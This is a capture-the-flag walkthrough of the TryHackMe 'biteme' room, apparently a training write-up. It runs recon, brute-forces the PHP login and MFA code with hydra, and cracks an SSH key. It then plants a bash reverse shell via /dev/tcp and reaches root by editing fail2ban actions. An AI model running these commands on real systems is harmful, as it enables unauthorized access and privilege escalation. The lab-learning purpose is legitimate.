# biteme

**Room Link:** [https://tryhackme.com/room/biteme](https://tryhackme.com/room/biteme)

## Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F5BDcTScR5OAEnpmMyKbp%2Fimage.png?alt=media&#x26;token=e85f8629-1490-4b06-841a-a90812a8a793" alt=""><figcaption></figcaption></figure>

## Scan all ports

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FRq89FFw6kJE86SyeWNd0%2Fimage.png?alt=media&#x26;token=2b59fab0-a3a4-40d8-a52f-0ef1b2ef71e5" alt=""><figcaption></figcaption></figure>

## TCP/80 - HTTP

**Kali**

```
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```



<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FxlUZqIE20zZkEjvdrQSa%2Fimage.png?alt=media&#x26;token=413a5fae-b698-493d-acba-b1cad52e8ddd" alt=""><figcaption></figcaption></figure>



<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FQ7m4Lgob7afjTAlY7CLE%2Fimage.png?alt=media&#x26;token=eb8d9a3a-45d1-4954-8239-b6b1d2704276" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FgUfiHZhwVs4LPnh0NHDI%2Fimage.png?alt=media&#x26;token=e6f33a6e-9c29-49c9-8f15-caa859c0e174" alt=""><figcaption></figcaption></figure>



<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FQtsFKunRTB6EYEkAhxSw%2Fimage.png?alt=media&#x26;token=918800d6-d865-401b-8cb7-29bd90717667" alt=""><figcaption></figcaption></figure>

**Kali**

```
gobuster dir -u http://$VICTIM/console -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x phps
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F5c1ZQGYHncPQklasTyPk%2Fimage.png?alt=media&#x26;token=7b9db3a5-9074-4431-a3a5-5b1df7fcc90d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FwgXRsxS8Qcr7y3QDzBRn%2Fimage.png?alt=media&#x26;token=d1a21159-c357-4ebf-b6c8-68ae0e1ecc87" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FgwvMGdl6ANnXaR7DRf7f%2Fimage.png?alt=media&#x26;token=028fc6d8-14b7-4d3b-8496-ec1b774ff66f" alt=""><figcaption></figcaption></figure>

## **Finding username**

**Kali**

```
echo 6a61736f6e5f746573745f6163636f756e74 | xxd -r -p
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FVdD7Gdu5w3Z0ZXOipgu2%2Fimage.png?alt=media&#x26;token=13413517-a63e-4537-b4a9-aab9ca4f1555" alt=""><figcaption></figcaption></figure>

## Recreating login

I merged configs.phps,  functions.php and index.phps into a index.php file. Made some modifications so that it could run  when hosted locally without the mfa part of the code so then I can try to bruteforce the credentials.

**index.php**

```
 <?php
session_start();
$showError = false;
define('LOGIN_USER', '6a61736f6e5f746573745f6163636f756e74'); 

function is_valid_user($user) {
    $user = bin2hex($user);
    return $user === LOGIN_USER;
}
// @fred let's talk about ways to make this more secure but still flexible
function is_valid_pwd($pwd) {
    $hash = md5($pwd);
    return substr($hash, -3) === '001';
} 


if (isset($_POST['user']) && isset($_POST['pwd'])) {
        if (is_valid_user($_POST['user']) && is_valid_pwd($_POST['pwd'])) {
            setcookie('user', $_POST['user'], 0, '/');
            setcookie('pwd', $_POST['pwd'], 0, '/');
            header('Location: mfa.php');
            exit();
        } else {
            $showError = true;
        }
  }  
?>

<!doctype html>
<html lang="en">
 <body class="text-center">
    <form action="index.php" method="post" class="form-signin" >
        <h1 class="h3 mb-3 font-weight-normal">Please sign in</h1>
        <input type="text" name="user" class="form-control" placeholder="Username" required>
        <input type="password" name="pwd" class="form-control" placeholder="Password" required>
        <button class="btn btn-lg btn-primary btn-block" type="submit">Sign in</button>
        <?php if ($showError): ?><p class="mt-3 mb-3 text-danger">Incorrect details</p><?php endif ?>
    </form>
  </body>
</html>

```

**Kali**

```
echo MFA > mfa.php
php -S 127.0.0.1:81
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FPCM4S9Dpk6u2mTLQ8cNX%2Fimage.png?alt=media&#x26;token=d43c2d4f-dbac-48a7-9f50-045113052921" alt=""><figcaption></figcaption></figure>

## Bruteforce

**Kali**

```
hydra -l jason_test_account -P /usr/share/wordlists/rockyou.txt 127.0.0.1 -s 81 http-post-form "/index.php:user=^USER^&pwd=^PASS^:F=Incorrect details"
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FP7jVbfdAyuQX1RIvqnW0%2Fimage.png?alt=media&#x26;token=94406f23-f696-4f06-bfa0-19b00e2c5400" alt=""><figcaption></figcaption></figure>



**Browser**

```
Username: jason_test_account
Password: violet
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fze71xg18KroGdgw1caA9%2Fimage.png?alt=media&#x26;token=8fb91e37-f333-4d0a-9b23-86d13a95bff7" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F1nbZYj508mkw8r9rqKtk%2Fimage.png?alt=media&#x26;token=3ebfbfea-c144-4843-a491-3c906d4d51c4" alt=""><figcaption></figcaption></figure>



<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FdF8VdpENfyT4Qb9O0PWS%2Fimage.png?alt=media&#x26;token=78db8605-ba8b-402d-99c4-8bae27b05a81" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FJ4C6Or1vlYANsX6QUxHC%2Fimage.png?alt=media&#x26;token=a3b57e65-abe9-418b-9dd7-ae19ddd8c262" alt=""><figcaption></figcaption></figure>



<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FvinTYfQvloChiFZLl8eu%2Fimage.png?alt=media&#x26;token=64a1f62e-98cb-44fe-9265-e00d583380a0" alt=""><figcaption></figcaption></figure>

**Kali**

```
python -c "with open('output.txt', 'w') as file: [file.write(f'{str(i).zfill(4)}\n') for i in range(10000)]"
```

**Kali**

```
git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra/
./configure
make
make install
cd ..

thc-hydra/hydra -l jason_test_account -P output.txt $VICTIM http-post-form "/console/mfa.php:code=^PASS^:H=Cookie: PHPSESSID=hshqcs3n42r9qjs5b2850r9alt; user=jason_test_account; pwd=violet:F=Incorrect code" -T 64
```



<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FnLyM9SJTsvF4oH5HYQxI%2Fimage.png?alt=media&#x26;token=2a1e9ada-a411-4106-9f00-0dbc7ce1efb3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FeRdIxbmHq6pl6oQwQ6iF%2Fimage.png?alt=media&#x26;token=8311dea3-79dc-4745-b44a-5a2013d34217" alt=""><figcaption></figcaption></figure>

## LFI

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FcGLvssWLDXipi8YNVQVI%2Fimage.png?alt=media&#x26;token=e3399916-4fce-44c5-a699-1b284b226c7b" alt=""><figcaption></figcaption></figure>

**Kali**

```
chmod 600
/opt/john/ssh2john.py id_rsa > id_john.txt
john --wordlist=/usr/share/wordlists/rockyou.txt id_john.txt 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FAHa5AUArX0WZYZ9NHIk0%2Fimage.png?alt=media&#x26;token=736984ec-1c63-4b86-88fe-450161b95ab2" alt=""><figcaption></figcaption></figure>

## TCP/22 - SSH

**Kali**

```
ssh -i id_rsa jason@$VICTIM 
Password: 1a2b3c4d
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FJodyRC734WgbTZulf12K%2Fimage.png?alt=media&#x26;token=31cd1505-4794-4df3-8e64-70ce196c6625" alt=""><figcaption></figcaption></figure>



## Lateral Movement

**Victim**

```
sudo -l
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FgivfvplpCVyhCrP5kxTJ%2Fimage.png?alt=media&#x26;token=1cdf5132-0464-43be-b94b-cd0cbfacdc5e" alt=""><figcaption></figcaption></figure>

**Victim**

```
echo '#!/bin/bash' > shell.sh
echo 'sh -i >& /dev/tcp/$KALI/1337 0>&1' >> shell.sh
```

**Kali**

```
nc -lvnp 1338
```

**Victim**

```
sudo -u fred ./shell.sh
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FKWshOHTrLycFtXfcWJSD%2Fimage.png?alt=media&#x26;token=6a117b4f-1499-4b69-854a-fc7f0cdff534" alt=""><figcaption></figcaption></figure>

Get autocomplete

```
python -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

## Privilege Escalation&#x20;

**Victim**

```
sudo -l
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F3lvPzpeEL2r8Nkvj0P7J%2Fimage.png?alt=media&#x26;token=eff04dc4-1721-4897-9f67-21ab7733bf27" alt=""><figcaption></figcaption></figure>

**Victim**

```
cat /etc/fail2ban/jail.conf
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FuuTqDIZcPTEcwrcfZDyW%2Fimage.png?alt=media&#x26;token=64e8251d-5b3f-4dbe-b72e-0aa4a74e7162" alt=""><figcaption></figcaption></figure>

**Victim**

```
ls -la /etc/fail2ban/action.d/iptables-multiport.conf
vi /etc/fail2ban/action.d/iptables-multiport.conf
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FE8FSBi4KhMuY8q37CuIN%2Fimage.png?alt=media&#x26;token=04024791-c219-477d-95ec-45139728dc20" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FgQxJm1Xg0rIImE3nkCy3%2Fimage.png?alt=media&#x26;token=e3b59c48-33af-470c-a691-334071adc9a4" alt=""><figcaption></figcaption></figure>

**Victim**

```
sudo /bin/systemctl restart fail2ban
```

Now we need to enter bad passwords until we've triggerd the ban action

**Kali**

```
ssh root@$VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FqS8QZO6BWuoRpDWpkzD0%2Fimage.png?alt=media&#x26;token=458e6a13-5b08-4e67-a936-9bc5d466aab8" alt=""><figcaption></figcaption></figure>

**Victim**

```
/bin/bash -p
whoami
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FusVLNJOvrT8F9RgLhSWB%2Fimage.png?alt=media&#x26;token=8ed0f5c3-043c-4f8f-9f42-b25247416ecf" alt=""><figcaption></figcaption></figure>

